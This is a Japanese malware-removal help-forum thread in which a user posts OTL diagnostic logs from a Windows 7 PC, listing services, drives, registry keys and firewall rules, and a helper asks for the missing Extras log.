[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1380.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1360.ini
[2013/10/27 09:33:27 | 000,000,590 | ---- | C] () -- C:\ProgramData\cfSB0950.ini
[2013/07/15 08:58:29 | 000,035,328 | ---- | C] () -- C:\Windows\SysWow64\Inetwh32.dll
[2013/04/13 17:29:33 | 000,000,021 | ---- | C] () -- C:\Windows\SurCode.INI
[2013/03/20 18:01:04 | 000,000,003 | ---- | C] () -- C:\Users\Tomohiko\AppData\Local\user_data.ini

[color=#E56717]========== ZeroAccess Check ==========[/color]

[2009/07/14 13:55:00 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini

[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]

[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2014/06/25 11:05:42 | 014,175,744 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014/06/25 10:41:30 | 012,874,240 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2009/07/14 10:40:51 | 000,909,312 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010/11/20 21:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2009/07/14 10:41:56 | 000,505,856 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]

[color=#E56717]========== Custom Scans ==========[/color]

[color=#A23BEC]< %windir%\tasks\*.job >[/color]
[2015/03/26 15:39:00 | 000,000,690 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/26 21:39:00 | 000,000,694 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job

[color=#E56717]========== Drive Information ==========[/color]

Physical Drives
---------------

Drive: \\\\.\\PHYSICALDRIVE0 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: ATA Hitachi HDT72505 SCSI Disk Device
Partitions: 1
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE1 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: Intel Raid 0 Volume SCSI Disk Device
Partitions: 1
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE2 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: Intel Raid 0 Volume SCSI Disk Device
Partitions: 2
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE3 - External hard disk media
Interface type: USB
Media Type: External hard disk media
Model: PHD 3.0 Silicon-Power USB Device
Partitions: 1
Status: OK
Status Info: 0

Partitions
---------------

DeviceID: Disk #0, Partition #0
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 466.00GB
Starting Offset: 32256
Hidden sectors: 0


DeviceID: Disk #1, Partition #0
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 442.00GB
Starting Offset: 1048576
Hidden sectors: 0


DeviceID: Disk #2, Partition #0
PartitionType: Installable File System
Bootable: True
BootPartition: True
PrimaryPartition: True
Size: 100.00MB
Starting Offset: 1048576
Hidden sectors: 0


DeviceID: Disk #2, Partition #1
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 113.00GB
Starting Offset: 105906176
Hidden sectors: 0


DeviceID: Disk #3, Partition #0
PartitionType: Unknown
Bootable: True
BootPartition: True
PrimaryPartition: True
Size: 932.00GB
Starting Offset: 1048576
Hidden sectors: 0


[color=#E56717]========== Base Services ==========[/color]
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,072,192 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\aelupsvc.dll -- (AeLookupSvc)
SRV:[b]64bit:[/b] - [2013/02/27 14:47:10 | 000,070,144 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appinfo.dll -- (Appinfo)
SRV:[b]64bit:[/b] - [2009/07/14 10:38:55 | 000,079,360 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\alg.exe -- (ALG)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:23 | 000,849,920 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\qmgr.dll -- (BITS)
SRV:[b]64bit:[/b] - [2010/11/20 22:25:45 | 000,705,024 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\BFE.DLL -- (BFE)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\lsass.exe -- (KeyIso)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:50 | 000,402,944 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\es.dll -- (EventSystem)
SRV - [2009/07/14 10:15:19 | 000,271,360 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\es.dll -- (EventSystem)
SRV:[b]64bit:[/b] - [2012/07/05 07:13:27 | 000,136,704 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\browser.dll -- (Browser)
SRV:[b]64bit:[/b] - [2014/07/07 11:06:31 | 000,187,904 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\cryptsvc.dll -- (CryptSvc)
SRV - [2014/07/07 10:40:07 | 000,143,872 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\cryptsvc.dll -- (CryptSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,512,000 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\rpcss.dll -- (DcomLaunch)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:04 | 000,317,952 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\dhcpcore.dll -- (Dhcp)
SRV - [2010/11/20 21:18:30 | 000,254,464 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\dhcpcore.dll -- (Dhcp)
SRV:[b]64bit:[/b] - [2011/03/03 15:24:16 | 000,183,296 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\dnsrslvr.dll -- (Dnscache)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:35 | 000,111,104 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\eapsvc.dll -- (EapHost)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:00 | 000,038,912 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\hidserv.dll -- (hidserv)
SRV - [2009/07/14 10:15:24 | 000,049,152 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\hidserv.dll -- (hidserv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:10 | 000,359,424 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\ipnathlp.dll -- (SharedAccess)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:39 | 000,501,248 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\IPSECSVC.DLL -- (PolicyAgent)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:54 | 000,524,288 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\swprv.dll -- (swprv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:26 | 000,067,584 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\mmcss.dll -- (MMCSS)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:52 | 000,360,448 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netman.dll -- (Netman)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:52 | 000,459,776 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netprofm.dll -- (netprofm)
SRV - [2009/07/14 10:16:03 | 000,360,448 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\netprofm.dll -- (netprofm)
SRV:[b]64bit:[/b] - [2014/12/06 13:17:27 | 000,303,616 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\nlasvc.dll -- (NlaSvc)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:53 | 000,025,600 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\nsisvc.dll -- (nsi)
SRV:[b]64bit:[/b] - [2011/05/24 20:42:55 | 000,404,480 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\umpnpmgr.dll -- (PlugPlay)
SRV:[b]64bit:[/b] - [2012/02/11 15:36:02 | 000,559,104 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\spoolsv.exe -- (Spooler)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\lsass.exe -- (ProtectedStorage)
No service found with a name of EMDMgmt
SRV:[b]64bit:[/b] - [2009/07/14 10:41:53 | 000,099,328 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\rasauto.dll -- (RasAuto)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,344,064 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\rasmans.dll -- (RasMan)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,512,000 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\rpcss.dll -- (RpcSs)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,030,720 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\seclogon.dll -- (seclogon)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\lsass.exe -- (SamSs)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:58 | 000,097,280 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wscsvc.dll -- (wscsvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:26 | 000,236,032 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\srvsvc.dll -- (LanmanServer)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,370,688 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\shsvcs.dll -- (ShellHWDetection)
SRV - [2010/11/20 21:21:19 | 000,328,192 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\shsvcs.dll -- (ShellHWDetection)
No service found with a name of slsvc
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 001,110,016 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\schedsvc.dll -- (Schedule)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:26 | 000,316,928 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\tapisrv.dll -- (TapiSrv)
SRV - [2010/11/20 21:21:28 | 000,242,176 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\tapisrv.dll -- (TapiSrv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:55 | 000,044,544 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\themeservice.dll -- (Themes)
SRV:[b]64bit:[/b] - [2014/12/19 12:06:55 | 000,210,432 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\profsvc.dll -- (ProfSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:25:27 | 001,600,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\VSSVC.exe -- (VSS)
SRV:[b]64bit:[/b] - [2014/10/03 11:11:51 | 000,680,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\audiosrv.dll -- (AudioSrv)
SRV:[b]64bit:[/b] - [2014/10/03 11:11:51 | 000,680,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\audiosrv.dll -- (AudioEndpointBuilder)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,170,496 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\sdrsvc.dll -- (SDRSVC)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 001,646,080 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wevtsvc.dll -- (eventlog)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:59 | 000,828,416 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\MPSSVC.dll -- (MpsSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 000,580,096 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wiaservc.dll -- (stisvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:24:58 | 000,128,000 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\msiexec.exe -- (msiserver)
SRV - [2010/11/20 21:17:22 | 000,073,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWow64\msiexec.exe -- (msiserver)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:56 | 000,242,688 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wbem\WMIsvc.dll -- (Winmgmt)
SRV:[b]64bit:[/b] - [2014/05/15 01:23:46 | 002,477,536 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wuaueng.dll -- (wuauserv)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:07 | 000,252,416 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\dot3svc.dll -- (dot3svc)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:56 | 000,886,784 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wlansvc.dll -- (Wlansvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 000,118,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wkssvc.dll -- (LanmanWorkstation)

[color=#A23BEC]< %SYSTEMDRIVE%\*.exe >[/color]

[color=#E56717]========== Alternate Data Streams ==========[/color]

@Alternate Data Stream - 994 bytes -> C:\ProgramData\Microsoft:2WMJDiXyuvI5QFSLMGGjcu
@Alternate Data Stream - 118 bytes -> C:\ProgramData\Temp:56E2E879
@Alternate Data Stream - 1144 bytes -> C:\ProgramData\Microsoft:whaoOOuMK6MQvl6Wd9L1Sym4G

< End of report >

いつも大変お世話になっております。
お返事が遅くなり恐縮です。
以上にて、OTLログを晴らせて頂きました。
大変お手数ですが、今後の処置をご教示頂けますと幸いです。
  • mari
  • 2015/03/26 (Thu) 22:06:13
Extras.txtはなかったでしょうか
こんばんは、IVNOと申します。
Extras.txtがまだのようですが、こちらは出力されていなかったでしょうか。
もし出力されていましたらこちらのご提示もお願いいたします。
  • IVNO
  • MAIL
  • 2015/03/26 (Thu) 23:23:08
Re: salusの駆除をお助けください
OTL Extras logfile created on: 2015/03/26 21:54:55 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 4.08 Gb Available Physical Memory | 68.57% Memory free
11.90 Gb Paging File | 8.19 Gb Available in Paging File | 68.81% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 42.38 Gb Free Space | 37.44% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Extra Registry (SafeList) ==========[/color]


[color=#E56717]========== File Associations ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.html[@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
.url[@ = InternetShortcut] -- C:\Windows\SysNative\rundll32.exe (Microsoft Corporation)

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- C:\Windows\SysWow64\control.exe (Microsoft Corporation)
.html [@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)

[HKEY_USERS\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Classes\<extension>]
.html [@ = ChromeHTML] -- Reg Error: Key error. File not found

[color=#E56717]========== Shell Spawning ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" %1 (Microsoft Corporation)
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" /p %1 (Microsoft Corporation)
http [open] -- Reg Error: Value error.
https [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
InternetShortcut [open] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l (Microsoft Corporation)
InternetShortcut [print] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
Directory [Bridge] -- D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- "C:\Program Files\Internet Explorer\iexplore.exe" (Microsoft Corporation)

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- %SystemRoot%\System32\control.exe "%1",%* (Microsoft Corporation)
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" %1 (Microsoft Corporation)
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" /p %1 (Microsoft Corporation)
http [open] -- Reg Error: Value error.
https [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
Directory [Bridge] -- D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- Reg Error: Value error.

[color=#E56717]========== Security Center Settings ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"cval" = 1

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
"VistaSp1" = 28 4D B2 76 41 04 CA 01 [binary data]
"AntiVirusOverride" = 0
"AntiSpywareOverride" = 0
"FirewallOverride" = 0

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Vol]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]

[color=#E56717]========== Firewall Settings ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = 0
"EnableFirewall" = 0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
"DisableNotifications" = 0
"EnableFirewall" = 0

[color=#E56717]========== Authorized Applications List ==========[/color]


[color=#E56717]========== Vista Active Open Ports Exception List ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{00386417-B838-4F6E-BE32-F0192EDD79E3}" = lport=1900 | protocol=17 | dir=in | name=windows live communications platform (ssdp) |
"{00C303EB-0636-4AD1-AA68-D52D3CD24EDA}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{0C4F599C-63BA-4A64-BF23-8C1BBD8D5B63}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{0D9182EC-AB92-4B41-ADC7-B85076CA1819}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{10FCCF4F-617B-4B81-A368-43A85F550962}" = lport=5353 | protocol=17 | dir=in | app=c:\program files (x86)\google\chrome\application\chrome.exe |
"{18DEC534-5DB8-4C62-AECB-830D473311C1}" = lport=rpc-epmap | protocol=6 | dir=in | svc=rpcss | name=@firewallapi.dll,-28539 |
"{1A509E6B-EAD3-4AE0-8026-3B0BB8484762}" = lport=10243 | protocol=6 | dir=in | app=system |
"{1F85F1AB-E8B7-4030-8DB1-3E6300B7CAED}" = rport=2177 | protocol=17 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{1FC473EA-4EBF-4995-8F54-22A016E71049}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{2028F261-DCF9-4D5E-94D0-0F5E9345A3B0}" = rport=138 | protocol=17 | dir=out | app=system |
"{26ED0962-51B7-4F3C-8BC5-B7048C2DB099}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{29C5AAA7-D07E-4EA8-A5FD-852BBAA5EADC}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{2AA3830C-8CC1-4D49-ACCC-2D40B785D8E8}" = lport=2869 | protocol=6 | dir=in | name=windows live communications platform (upnp) |
"{2B487983-709D-42BD-A528-FE7B5454E734}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{2D6093BA-9963-4D8C-8620-45F652C5FDE5}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{3034886D-A7CE-4FC5-9F38-EE62188DE164}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{33B6E143-2716-4AC4-AE73-7F14BE9EA681}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{376D16A4-C34B-4A15-829E-F35FB1FF8BED}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{37D73A64-5DD5-4E62-B899-09F61D29390A}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{3FAEDD2B-4AD9-497A-A884-BF9E7EF04DAB}" = lport=2177 | protocol=6 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{42741ED3-6EF4-4340-81F7-9DCAA1B15DDF}" = lport=rpc | protocol=6 | dir=in | svc=spooler | app=%systemroot%\system32\spoolsv.exe |
"{44053F39-E054-48D8-81EA-97C51B113FD9}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{48129537-13A7-498A-B2F4-D73257B85BD4}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
